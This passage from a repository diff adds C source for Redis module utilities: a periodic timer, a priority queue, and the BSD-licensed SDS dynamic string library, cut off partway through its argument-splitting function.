.privdata = privdata, .interval = interval, .cb = cb, .onTerm = onTerm,
};
pthread_cond_init(&ret->cond, NULL);
pthread_mutex_init(&ret->lock, NULL);
pthread_create(&ret->thread, NULL, rmutilTimer_Loop, ret);
return ret;
}
int RMUtilTimer_Terminate(struct RMUtilTimer *t) {
return pthread_cond_signal(&t->cond);
}
+46
View File
@@ -0,0 +1,46 @@
#ifndef RMUTIL_PERIODIC_H_
#define RMUTIL_PERIODIC_H_
#include <time.h>
#include <redismodule.h>
/** periodic.h - Utility periodic timer running a task repeatedly every given time interval */
/* RMUtilTimer - opaque context for the timer */
struct RMUtilTimer;
/* RMutilTimerFunc - callback type for timer tasks. The ctx is a thread-safe redis module context
* that should be locked/unlocked by the callback when running stuff against redis. privdata is
* pre-existing private data */
typedef void (*RMutilTimerFunc)(RedisModuleCtx *ctx, void *privdata);
typedef void (*RMUtilTimerTerminationFunc)(void *privdata);
/* Create and start a new periodic timer. Each timer has its own thread and can only be run and
* stopped once. The timer runs `cb` every `interval` with `privdata` passed to the callback. */
struct RMUtilTimer *RMUtil_NewPeriodicTimer(RMutilTimerFunc cb, RMUtilTimerTerminationFunc onTerm,
void *privdata, struct timespec interval);
/* set a new frequency for the timer. This will take effect AFTER the next trigger */
void RMUtilTimer_SetInterval(struct RMUtilTimer *t, struct timespec newInterval);
/* Stop the timer loop, call the termination callbck to free up any resources linked to the timer,
* and free the timer after stopping.
*
* This function doesn't wait for the thread to terminate, as it may cause a race condition if the
* timer's callback is waiting for the redis global lock.
* Instead you should make sure any resources are freed by the callback after the thread loop is
* finished.
*
* The timer is freed automatically, so the callback doesn't need to do anything about it.
* The callback gets the timer's associated privdata as its argument.
*
* If no callback is specified we do not free up privdata. If privdata is NULL we still call the
* callback, as it may log stuff or free global resources.
*/
int RMUtilTimer_Terminate(struct RMUtilTimer *t);
/* DEPRECATED - do not use this function (well now you can't), use terminate instead
Free the timer context. The caller should be responsible for freeing the private data at this
* point */
// void RMUtilTimer_Free(struct RMUtilTimer *t);
#endif
@@ -0,0 +1,36 @@
#include "priority_queue.h"
#include "heap.h"
PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *)) {
PriorityQueue *pq = malloc(sizeof(PriorityQueue));
pq->v = __newVectorSize(elemSize, cap);
pq->cmp = cmp;
return pq;
}
inline size_t Priority_Queue_Size(PriorityQueue *pq) {
return Vector_Size(pq->v);
}
inline int Priority_Queue_Top(PriorityQueue *pq, void *ptr) {
return Vector_Get(pq->v, 0, ptr);
}
inline size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem) {
size_t top = __vector_PushPtr(pq->v, elem);
Heap_Push(pq->v, 0, top, pq->cmp);
return top;
}
inline void Priority_Queue_Pop(PriorityQueue *pq) {
if (pq->v->top == 0) {
return;
}
Heap_Pop(pq->v, 0, pq->v->top, pq->cmp);
pq->v->top--;
}
void Priority_Queue_Free(PriorityQueue *pq) {
Vector_Free(pq->v);
free(pq);
}
@@ -0,0 +1,55 @@
#ifndef __PRIORITY_QUEUE_H__
#define __PRIORITY_QUEUE_H__
#include "vector.h"
/* Priority queue
* Priority queues are designed such that its first element is always the greatest of the elements it contains.
* This context is similar to a heap, where elements can be inserted at any moment, and only the max heap element can be
* retrieved (the one at the top in the priority queue).
* Priority queues are implemented as Vectors. Elements are popped from the "back" of Vector, which is known as the top
* of the priority queue.
*/
typedef struct {
Vector *v;
int (*cmp)(void *, void *);
} PriorityQueue;
/* Construct priority queue
* Constructs a priority_queue container adaptor object.
*/
PriorityQueue *__newPriorityQueueSize(size_t elemSize, size_t cap, int (*cmp)(void *, void *));
#define NewPriorityQueue(type, cap, cmp) __newPriorityQueueSize(sizeof(type), cap, cmp)
/* Return size
* Returns the number of elements in the priority_queue.
*/
size_t Priority_Queue_Size(PriorityQueue *pq);
/* Access top element
* Copy the top element in the priority_queue to ptr.
* The top element is the element that compares higher in the priority_queue.
*/
int Priority_Queue_Top(PriorityQueue *pq, void *ptr);
/* Insert element
* Inserts a new element in the priority_queue.
*/
size_t __priority_Queue_PushPtr(PriorityQueue *pq, void *elem);
#define Priority_Queue_Push(pq, elem) __priority_Queue_PushPtr(pq, &(typeof(elem)){elem})
/* Remove top element
* Removes the element on top of the priority_queue, effectively reducing its size by one. The element removed is the
* one with the highest value.
* The value of this element can be retrieved before being popped by calling Priority_Queue_Top.
*/
void Priority_Queue_Pop(PriorityQueue *pq);
/* free the priority queue and the underlying data. Does not release its elements if
* they are pointers */
void Priority_Queue_Free(PriorityQueue *pq);
#endif //__PRIORITY_QUEUE_H__
+1274
View File
@@ -0,0 +1,1274 @@
/* SDSLib 2.0 -- A C dynamic strings library
*
* Copyright (c) 2006-2015, Salvatore Sanfilippo <antirez at gmail dot com>
* Copyright (c) 2015, Oran Agra
* Copyright (c) 2015, Redis Labs, Inc
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
* this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of Redis nor the names of its contributors may be used
* to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#include <assert.h>
#include "sds.h"
#include "sdsalloc.h"
static inline int sdsHdrSize(char type) {
switch(type&SDS_TYPE_MASK) {
case SDS_TYPE_5:
return sizeof(struct sdshdr5);
case SDS_TYPE_8:
return sizeof(struct sdshdr8);
case SDS_TYPE_16:
return sizeof(struct sdshdr16);
case SDS_TYPE_32:
return sizeof(struct sdshdr32);
case SDS_TYPE_64:
return sizeof(struct sdshdr64);
}
return 0;
}
static inline char sdsReqType(size_t string_size) {
if (string_size < 32)
return SDS_TYPE_5;
if (string_size < 0xff)
return SDS_TYPE_8;
if (string_size < 0xffff)
return SDS_TYPE_16;
if (string_size < 0xffffffff)
return SDS_TYPE_32;
return SDS_TYPE_64;
}
/* Create a new sds string with the content specified by the 'init' pointer
* and 'initlen'.
* If NULL is used for 'init' the string is initialized with zero bytes.
*
* The string is always null-termined (all the sds strings are, always) so
* even if you create an sds string with:
*
* mystring = sdsnewlen("abc",3);
*
* You can print the string with printf() as there is an implicit \0 at the
* end of the string. However the string is binary safe and can contain
* \0 characters in the middle, as the length is stored in the sds header. */
sds sdsnewlen(const void *init, size_t initlen) {
void *sh;
sds s;
char type = sdsReqType(initlen);
/* Empty strings are usually created in order to append. Use type 8
* since type 5 is not good at this. */
if (type == SDS_TYPE_5 && initlen == 0) type = SDS_TYPE_8;
int hdrlen = sdsHdrSize(type);
unsigned char *fp; /* flags pointer. */
sh = s_malloc(hdrlen+initlen+1);
if (!init)
memset(sh, 0, hdrlen+initlen+1);
if (sh == NULL) return NULL;
s = (char*)sh+hdrlen;
fp = ((unsigned char*)s)-1;
switch(type) {
case SDS_TYPE_5: {
*fp = type | (initlen << SDS_TYPE_BITS);
break;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
sh->len = initlen;
sh->alloc = initlen;
*fp = type;
break;
}
}
if (initlen && init)
memcpy(s, init, initlen);
s[initlen] = '\0';
return s;
}
/* Create an empty (zero length) sds string. Even in this case the string
* always has an implicit null term. */
sds sdsempty(void) {
return sdsnewlen("",0);
}
/* Create a new sds string starting from a null terminated C string. */
sds sdsnew(const char *init) {
size_t initlen = (init == NULL) ? 0 : strlen(init);
return sdsnewlen(init, initlen);
}
/* Duplicate an sds string. */
sds sdsdup(const sds s) {
return sdsnewlen(s, sdslen(s));
}
/* Free an sds string. No operation is performed if 's' is NULL. */
void sdsfree(sds s) {
if (s == NULL) return;
s_free((char*)s-sdsHdrSize(s[-1]));
}
/* Set the sds string length to the length as obtained with strlen(), so
* considering as content only up to the first null term character.
*
* This function is useful when the sds string is hacked manually in some
* way, like in the following example:
*
* s = sdsnew("foobar");
* s[2] = '\0';
* sdsupdatelen(s);
* printf("%d\n", sdslen(s));
*
* The output will be "2", but if we comment out the call to sdsupdatelen()
* the output will be "6" as the string was modified but the logical length
* remains 6 bytes. */
void sdsupdatelen(sds s) {
int reallen = strlen(s);
sdssetlen(s, reallen);
}
/* Modify an sds string in-place to make it empty (zero length).
* However all the existing buffer is not discarded but set as free space
* so that next append operations will not require allocations up to the
* number of bytes previously available. */
void sdsclear(sds s) {
sdssetlen(s, 0);
s[0] = '\0';
}
/* Enlarge the free space at the end of the sds string so that the caller
* is sure that after calling this function can overwrite up to addlen
* bytes after the end of the string, plus one more byte for nul term.
*
* Note: this does not change the *length* of the sds string as returned
* by sdslen(), but only the free buffer space we have. */
sds sdsMakeRoomFor(sds s, size_t addlen) {
void *sh, *newsh;
size_t avail = sdsavail(s);
size_t len, newlen;
char type, oldtype = s[-1] & SDS_TYPE_MASK;
int hdrlen;
/* Return ASAP if there is enough space left. */
if (avail >= addlen) return s;
len = sdslen(s);
sh = (char*)s-sdsHdrSize(oldtype);
newlen = (len+addlen);
if (newlen < SDS_MAX_PREALLOC)
newlen *= 2;
else
newlen += SDS_MAX_PREALLOC;
type = sdsReqType(newlen);
/* Don't use type 5: the user is appending to the string and type 5 is
* not able to remember empty space, so sdsMakeRoomFor() must be called
* at every appending operation. */
if (type == SDS_TYPE_5) type = SDS_TYPE_8;
hdrlen = sdsHdrSize(type);
if (oldtype==type) {
newsh = s_realloc(sh, hdrlen+newlen+1);
if (newsh == NULL) return NULL;
s = (char*)newsh+hdrlen;
} else {
/* Since the header size changes, need to move the string forward,
* and can't use realloc */
newsh = s_malloc(hdrlen+newlen+1);
if (newsh == NULL) return NULL;
memcpy((char*)newsh+hdrlen, s, len+1);
s_free(sh);
s = (char*)newsh+hdrlen;
s[-1] = type;
sdssetlen(s, len);
}
sdssetalloc(s, newlen);
return s;
}
/* Reallocate the sds string so that it has no free space at the end. The
* contained string remains not altered, but next concatenation operations
* will require a reallocation.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdsRemoveFreeSpace(sds s) {
void *sh, *newsh;
char type, oldtype = s[-1] & SDS_TYPE_MASK;
int hdrlen;
size_t len = sdslen(s);
sh = (char*)s-sdsHdrSize(oldtype);
type = sdsReqType(len);
hdrlen = sdsHdrSize(type);
if (oldtype==type) {
newsh = s_realloc(sh, hdrlen+len+1);
if (newsh == NULL) return NULL;
s = (char*)newsh+hdrlen;
} else {
newsh = s_malloc(hdrlen+len+1);
if (newsh == NULL) return NULL;
memcpy((char*)newsh+hdrlen, s, len+1);
s_free(sh);
s = (char*)newsh+hdrlen;
s[-1] = type;
sdssetlen(s, len);
}
sdssetalloc(s, len);
return s;
}
/* Return the total size of the allocation of the specifed sds string,
* including:
* 1) The sds header before the pointer.
* 2) The string.
* 3) The free buffer at the end if any.
* 4) The implicit null term.
*/
size_t sdsAllocSize(sds s) {
size_t alloc = sdsalloc(s);
return sdsHdrSize(s[-1])+alloc+1;
}
/* Return the pointer of the actual SDS allocation (normally SDS strings
* are referenced by the start of the string buffer). */
void *sdsAllocPtr(sds s) {
return (void*) (s-sdsHdrSize(s[-1]));
}
/* Increment the sds length and decrements the left free space at the
* end of the string according to 'incr'. Also set the null term
* in the new end of the string.
*
* This function is used in order to fix the string length after the
* user calls sdsMakeRoomFor(), writes something after the end of
* the current string, and finally needs to set the new length.
*
* Note: it is possible to use a negative increment in order to
* right-trim the string.
*
* Usage example:
*
* Using sdsIncrLen() and sdsMakeRoomFor() it is possible to mount the
* following schema, to cat bytes coming from the kernel to the end of an
* sds string without copying into an intermediate buffer:
*
* oldlen = sdslen(s);
* s = sdsMakeRoomFor(s, BUFFER_SIZE);
* nread = read(fd, s+oldlen, BUFFER_SIZE);
* ... check for nread <= 0 and handle it ...
* sdsIncrLen(s, nread);
*/
void sdsIncrLen(sds s, int incr) {
unsigned char flags = s[-1];
size_t len;
switch(flags&SDS_TYPE_MASK) {
case SDS_TYPE_5: {
unsigned char *fp = ((unsigned char*)s)-1;
unsigned char oldlen = SDS_TYPE_5_LEN(flags);
assert((incr > 0 && oldlen+incr < 32) || (incr < 0 && oldlen >= (unsigned int)(-incr)));
*fp = SDS_TYPE_5 | ((oldlen+incr) << SDS_TYPE_BITS);
len = oldlen+incr;
break;
}
case SDS_TYPE_8: {
SDS_HDR_VAR(8,s);
assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
case SDS_TYPE_16: {
SDS_HDR_VAR(16,s);
assert((incr >= 0 && sh->alloc-sh->len >= incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
case SDS_TYPE_32: {
SDS_HDR_VAR(32,s);
assert((incr >= 0 && sh->alloc-sh->len >= (unsigned int)incr) || (incr < 0 && sh->len >= (unsigned int)(-incr)));
len = (sh->len += incr);
break;
}
case SDS_TYPE_64: {
SDS_HDR_VAR(64,s);
assert((incr >= 0 && sh->alloc-sh->len >= (uint64_t)incr) || (incr < 0 && sh->len >= (uint64_t)(-incr)));
len = (sh->len += incr);
break;
}
default: len = 0; /* Just to avoid compilation warnings. */
}
s[len] = '\0';
}
/* Grow the sds to have the specified length. Bytes that were not part of
* the original length of the sds will be set to zero.
*
* if the specified length is smaller than the current length, no operation
* is performed. */
sds sdsgrowzero(sds s, size_t len) {
size_t curlen = sdslen(s);
if (len <= curlen) return s;
s = sdsMakeRoomFor(s,len-curlen);
if (s == NULL) return NULL;
/* Make sure added region doesn't contain garbage */
memset(s+curlen,0,(len-curlen+1)); /* also set trailing \0 byte */
sdssetlen(s, len);
return s;
}
/* Append the specified binary-safe string pointed by 't' of 'len' bytes to the
* end of the specified sds string 's'.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatlen(sds s, const void *t, size_t len) {
size_t curlen = sdslen(s);
s = sdsMakeRoomFor(s,len);
if (s == NULL) return NULL;
memcpy(s+curlen, t, len);
sdssetlen(s, curlen+len);
s[curlen+len] = '\0';
return s;
}
/* Append the specified null termianted C string to the sds string 's'.
*
* After the call, the passed sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscat(sds s, const char *t) {
return sdscatlen(s, t, strlen(t));
}
/* Append the specified sds 't' to the existing sds 's'.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatsds(sds s, const sds t) {
return sdscatlen(s, t, sdslen(t));
}
/* Destructively modify the sds string 's' to hold the specified binary
* safe string pointed by 't' of length 'len' bytes. */
sds sdscpylen(sds s, const char *t, size_t len) {
if (sdsalloc(s) < len) {
s = sdsMakeRoomFor(s,len-sdslen(s));
if (s == NULL) return NULL;
}
memcpy(s, t, len);
s[len] = '\0';
sdssetlen(s, len);
return s;
}
/* Like sdscpylen() but 't' must be a null-termined string so that the length
* of the string is obtained with strlen(). */
sds sdscpy(sds s, const char *t) {
return sdscpylen(s, t, strlen(t));
}
/* Helper for sdscatlonglong() doing the actual number -> string
* conversion. 's' must point to a string with room for at least
* SDS_LLSTR_SIZE bytes.
*
* The function returns the length of the null-terminated string
* representation stored at 's'. */
#define SDS_LLSTR_SIZE 21
int sdsll2str(char *s, long long value) {
char *p, aux;
unsigned long long v;
size_t l;
/* Generate the string representation, this method produces
* an reversed string. */
v = (value < 0) ? -value : value;
p = s;
do {
*p++ = '0'+(v%10);
v /= 10;
} while(v);
if (value < 0) *p++ = '-';
/* Compute length and add null term. */
l = p-s;
*p = '\0';
/* Reverse the string. */
p--;
while(s < p) {
aux = *s;
*s = *p;
*p = aux;
s++;
p--;
}
return l;
}
/* Identical sdsll2str(), but for unsigned long long type. */
int sdsull2str(char *s, unsigned long long v) {
char *p, aux;
size_t l;
/* Generate the string representation, this method produces
* an reversed string. */
p = s;
do {
*p++ = '0'+(v%10);
v /= 10;
} while(v);
/* Compute length and add null term. */
l = p-s;
*p = '\0';
/* Reverse the string. */
p--;
while(s < p) {
aux = *s;
*s = *p;
*p = aux;
s++;
p--;
}
return l;
}
/* Create an sds string from a long long value. It is much faster than:
*
* sdscatprintf(sdsempty(),"%lld\n", value);
*/
sds sdsfromlonglong(long long value) {
char buf[SDS_LLSTR_SIZE];
int len = sdsll2str(buf,value);
return sdsnewlen(buf,len);
}
/* Like sdscatprintf() but gets va_list instead of being variadic. */
sds sdscatvprintf(sds s, const char *fmt, va_list ap) {
va_list cpy;
char staticbuf[1024], *buf = staticbuf, *t;
size_t buflen = strlen(fmt)*2;
/* We try to start using a static buffer for speed.
* If not possible we revert to heap allocation. */
if (buflen > sizeof(staticbuf)) {
buf = s_malloc(buflen);
if (buf == NULL) return NULL;
} else {
buflen = sizeof(staticbuf);
}
/* Try with buffers two times bigger every time we fail to
* fit the string in the current buffer size. */
while(1) {
buf[buflen-2] = '\0';
va_copy(cpy,ap);
vsnprintf(buf, buflen, fmt, cpy);
va_end(cpy);
if (buf[buflen-2] != '\0') {
if (buf != staticbuf) s_free(buf);
buflen *= 2;
buf = s_malloc(buflen);
if (buf == NULL) return NULL;
continue;
}
break;
}
/* Finally concat the obtained string to the SDS string and return it. */
t = sdscat(s, buf);
if (buf != staticbuf) s_free(buf);
return t;
}
/* Append to the sds string 's' a string obtained using printf-alike format
* specifier.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call.
*
* Example:
*
* s = sdsnew("Sum is: ");
* s = sdscatprintf(s,"%d+%d = %d",a,b,a+b).
*
* Often you need to create a string from scratch with the printf-alike
* format. When this is the need, just use sdsempty() as the target string:
*
* s = sdscatprintf(sdsempty(), "... your format ...", args);
*/
sds sdscatprintf(sds s, const char *fmt, ...) {
va_list ap;
char *t;
va_start(ap, fmt);
t = sdscatvprintf(s,fmt,ap);
va_end(ap);
return t;
}
/* This function is similar to sdscatprintf, but much faster as it does
* not rely on sprintf() family functions implemented by the libc that
* are often very slow. Moreover directly handling the sds string as
* new data is concatenated provides a performance improvement.
*
* However this function only handles an incompatible subset of printf-alike
* format specifiers:
*
* %s - C String
* %S - SDS string
* %i - signed int
* %I - 64 bit signed integer (long long, int64_t)
* %u - unsigned int
* %U - 64 bit unsigned integer (unsigned long long, uint64_t)
* %% - Verbatim "%" character.
*/
sds sdscatfmt(sds s, char const *fmt, ...) {
size_t initlen = sdslen(s);
const char *f = fmt;
int i;
va_list ap;
va_start(ap,fmt);
f = fmt; /* Next format specifier byte to process. */
i = initlen; /* Position of the next byte to write to dest str. */
while(*f) {
char next, *str;
size_t l;
long long num;
unsigned long long unum;
/* Make sure there is always space for at least 1 char. */
if (sdsavail(s)==0) {
s = sdsMakeRoomFor(s,1);
}
switch(*f) {
case '%':
next = *(f+1);
f++;
switch(next) {
case 's':
case 'S':
str = va_arg(ap,char*);
l = (next == 's') ? strlen(str) : sdslen(str);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,str,l);
sdsinclen(s,l);
i += l;
break;
case 'i':
case 'I':
if (next == 'i')
num = va_arg(ap,int);
else
num = va_arg(ap,long long);
{
char buf[SDS_LLSTR_SIZE];
l = sdsll2str(buf,num);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,buf,l);
sdsinclen(s,l);
i += l;
}
break;
case 'u':
case 'U':
if (next == 'u')
unum = va_arg(ap,unsigned int);
else
unum = va_arg(ap,unsigned long long);
{
char buf[SDS_LLSTR_SIZE];
l = sdsull2str(buf,unum);
if (sdsavail(s) < l) {
s = sdsMakeRoomFor(s,l);
}
memcpy(s+i,buf,l);
sdsinclen(s,l);
i += l;
}
break;
default: /* Handle %% and generally %<unknown>. */
s[i++] = next;
sdsinclen(s,1);
break;
}
break;
default:
s[i++] = *f;
sdsinclen(s,1);
break;
}
f++;
}
va_end(ap);
/* Add null-term */
s[i] = '\0';
return s;
}
/* Remove the part of the string from left and from right composed just of
* contiguous characters found in 'cset', that is a null terminted C string.
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call.
*
* Example:
*
* s = sdsnew("AA...AA.a.aa.aHelloWorld :::");
* s = sdstrim(s,"Aa. :");
* printf("%s\n", s);
*
* Output will be just "Hello World".
*/
sds sdstrim(sds s, const char *cset) {
char *start, *end, *sp, *ep;
size_t len;
sp = start = s;
ep = end = s+sdslen(s)-1;
while(sp <= end && strchr(cset, *sp)) sp++;
while(ep > sp && strchr(cset, *ep)) ep--;
len = (sp > ep) ? 0 : ((ep-sp)+1);
if (s != sp) memmove(s, sp, len);
s[len] = '\0';
sdssetlen(s,len);
return s;
}
/* Turn the string into a smaller (or equal) string containing only the
* substring specified by the 'start' and 'end' indexes.
*
* start and end can be negative, where -1 means the last character of the
* string, -2 the penultimate character, and so forth.
*
* The interval is inclusive, so the start and end characters will be part
* of the resulting string.
*
* The string is modified in-place.
*
* Example:
*
* s = sdsnew("Hello World");
* sdsrange(s,1,-1); => "ello World"
*/
void sdsrange(sds s, int start, int end) {
size_t newlen, len = sdslen(s);
if (len == 0) return;
if (start < 0) {
start = len+start;
if (start < 0) start = 0;
}
if (end < 0) {
end = len+end;
if (end < 0) end = 0;
}
newlen = (start > end) ? 0 : (end-start)+1;
if (newlen != 0) {
if (start >= (signed)len) {
newlen = 0;
} else if (end >= (signed)len) {
end = len-1;
newlen = (start > end) ? 0 : (end-start)+1;
}
} else {
start = 0;
}
if (start && newlen) memmove(s, s+start, newlen);
s[newlen] = 0;
sdssetlen(s,newlen);
}
/* Apply tolower() to every character of the sds string 's'. */
void sdstolower(sds s) {
int len = sdslen(s), j;
for (j = 0; j < len; j++) s[j] = tolower(s[j]);
}
/* Apply toupper() to every character of the sds string 's'. */
void sdstoupper(sds s) {
int len = sdslen(s), j;
for (j = 0; j < len; j++) s[j] = toupper(s[j]);
}
/* Compare two sds strings s1 and s2 with memcmp().
*
* Return value:
*
* positive if s1 > s2.
* negative if s1 < s2.
* 0 if s1 and s2 are exactly the same binary string.
*
* If two strings share exactly the same prefix, but one of the two has
* additional characters, the longer string is considered to be greater than
* the smaller one. */
int sdscmp(const sds s1, const sds s2) {
size_t l1, l2, minlen;
int cmp;
l1 = sdslen(s1);
l2 = sdslen(s2);
minlen = (l1 < l2) ? l1 : l2;
cmp = memcmp(s1,s2,minlen);
if (cmp == 0) return l1-l2;
return cmp;
}
/* Split 's' with separator in 'sep'. An array
* of sds strings is returned. *count will be set
* by reference to the number of tokens returned.
*
* On out of memory, zero length string, zero length
* separator, NULL is returned.
*
* Note that 'sep' is able to split a string using
* a multi-character separator. For example
* sdssplit("foo_-_bar","_-_"); will return two
* elements "foo" and "bar".
*
* This version of the function is binary-safe but
* requires length arguments. sdssplit() is just the
* same function but for zero-terminated strings.
*/
sds *sdssplitlen(const char *s, int len, const char *sep, int seplen, int *count) {
int elements = 0, slots = 5, start = 0, j;
sds *tokens;
if (seplen < 1 || len < 0) return NULL;
tokens = s_malloc(sizeof(sds)*slots);
if (tokens == NULL) return NULL;
if (len == 0) {
*count = 0;
return tokens;
}
for (j = 0; j < (len-(seplen-1)); j++) {
/* make sure there is room for the next element and the final one */
if (slots < elements+2) {
sds *newtokens;
slots *= 2;
newtokens = s_realloc(tokens,sizeof(sds)*slots);
if (newtokens == NULL) goto cleanup;
tokens = newtokens;
}
/* search the separator */
if ((seplen == 1 && *(s+j) == sep[0]) || (memcmp(s+j,sep,seplen) == 0)) {
tokens[elements] = sdsnewlen(s+start,j-start);
if (tokens[elements] == NULL) goto cleanup;
elements++;
start = j+seplen;
j = j+seplen-1; /* skip the separator */
}
}
/* Add the final element. We are sure there is room in the tokens array. */
tokens[elements] = sdsnewlen(s+start,len-start);
if (tokens[elements] == NULL) goto cleanup;
elements++;
*count = elements;
return tokens;
cleanup:
{
int i;
for (i = 0; i < elements; i++) sdsfree(tokens[i]);
s_free(tokens);
*count = 0;
return NULL;
}
}
/* Free the result returned by sdssplitlen(), or do nothing if 'tokens' is NULL. */
void sdsfreesplitres(sds *tokens, int count) {
if (!tokens) return;
while(count--)
sdsfree(tokens[count]);
s_free(tokens);
}
/* Append to the sds string "s" an escaped string representation where
* all the non-printable characters (tested with isprint()) are turned into
* escapes in the form "\n\r\a...." or "\x<hex-number>".
*
* After the call, the modified sds string is no longer valid and all the
* references must be substituted with the new pointer returned by the call. */
sds sdscatrepr(sds s, const char *p, size_t len) {
s = sdscatlen(s,"\"",1);
while(len--) {
switch(*p) {
case '\\':
case '"':
s = sdscatprintf(s,"\\%c",*p);
break;
case '\n': s = sdscatlen(s,"\\n",2); break;
case '\r': s = sdscatlen(s,"\\r",2); break;
case '\t': s = sdscatlen(s,"\\t",2); break;
case '\a': s = sdscatlen(s,"\\a",2); break;
case '\b': s = sdscatlen(s,"\\b",2); break;
default:
if (isprint(*p))
s = sdscatprintf(s,"%c",*p);
else
s = sdscatprintf(s,"\\x%02x",(unsigned char)*p);
break;
}
p++;
}
return sdscatlen(s,"\"",1);
}
/* Helper function for sdssplitargs() that returns non zero if 'c'
* is a valid hex digit. */
int is_hex_digit(char c) {
return (c >= '0' && c <= '9') || (c >= 'a' && c <= 'f') ||
(c >= 'A' && c <= 'F');
}
/* Helper function for sdssplitargs() that converts a hex digit into an
* integer from 0 to 15 */
int hex_digit_to_int(char c) {
switch(c) {
case '0': return 0;
case '1': return 1;
case '2': return 2;
case '3': return 3;
case '4': return 4;
case '5': return 5;
case '6': return 6;
case '7': return 7;
case '8': return 8;
case '9': return 9;
case 'a': case 'A': return 10;
case 'b': case 'B': return 11;
case 'c': case 'C': return 12;
case 'd': case 'D': return 13;
case 'e': case 'E': return 14;
case 'f': case 'F': return 15;
default: return 0;
}
}
/* Split a line into arguments, where every argument can be in the
* following programming-language REPL-alike form:
*
* foo bar "newline are supported\n" and "\xff\x00otherstuff"
*
* The number of arguments is stored into *argc, and an array
* of sds is returned.
*
* The caller should free the resulting array of sds strings with
* sdsfreesplitres().
*
* Note that sdscatrepr() is able to convert back a string into
* a quoted string in the same format sdssplitargs() is able to parse.
*
* The function returns the allocated tokens on success, even when the
* input string is empty, or NULL if the input contains unbalanced
* quotes or closed quotes followed by non space characters
* as in: "foo"bar or "foo'
*/
sds *sdssplitargs(const char *line, int *argc) {
const char *p = line;
char *current = NULL;
char **vector = NULL;
*argc = 0;
while(1) {
/* skip blanks */
while(*p && isspace(*p)) p++;
if (*p) {
/* get a token */
int inq=0; /* set to 1 if we are in "quotes" */
int insq=0; /* set to 1 if we are in 'single quotes' */
int done=0;
if (current == NULL) current = sdsempty();
while(!done) {
if (inq) {
if (*p == '\\' && *(p+1) == 'x' &&
is_hex_digit(*(p+2)) &&
is_hex_digit(*(p+3)))
{
unsigned char byte;
byte = (hex_digit_to_int(*(p+2))*16)+
hex_digit_to_int(*(p+3));
current = sdscatlen(current,(char*)&byte,1);
p += 3;
} else if (*p == '\\' && *(p+1)) {
char c;
p++;
switch(*p) {
case 'n': c = '\n'; break;
case 'r': c = '\r'; break;
case 't': c = '\t'; break;
case 'b': c = '\b'; break;
case 'a': c = '\a'; break;
default: c = *p; break;
}
current = sdscatlen(current,&c,1);
} else if (*p == '"') {
/* closing quote must be followed by a space or
* nothing at all. */
if (*(p+1) && !isspace(*(p+1))) goto err;
done=1;
} else if (!*p) {
/* unterminated quotes */
goto err;
} else {
current = sdscatlen(current,p,1);
}
} else if (insq) {
if (*p == '\\' && *(p+1) == '\'') {
p++;
current = sdscatlen(current,"'",1);
} else if (*p == '\'') {
/* closing quote must be followed by a space or
* nothing at all. */
if (*(p+1) && !isspace(*(p+1))) goto err;
done=1;
} else if (!*p) {
/* unterminated quotes */
goto err;
} else {
current = sdscatlen(current,p,1);
}
} else {
switch(*p) {
case ' ':
case '\n':
case '\r':
case '\t':
case '\0':
done=1;
break;
case '"':
inq=1;
break;
case '\'':
insq=1;
break;
default:
current = sdscatlen(current,p,1);
break;
}
}
if (*p) p++;
}
/* add the token to the vector */
vector = s_realloc(vector,((*argc)+1)*sizeof(char*));
vector[*argc] = current;
(*argc)++;
current = NULL;
} else {
/* Even on empty input string return something not NULL. */
if (vector == NULL) vector = s_malloc(sizeof(void*));
return vector;
}
}
err:
while((*argc)--)
sdsfree(vector[*argc]);
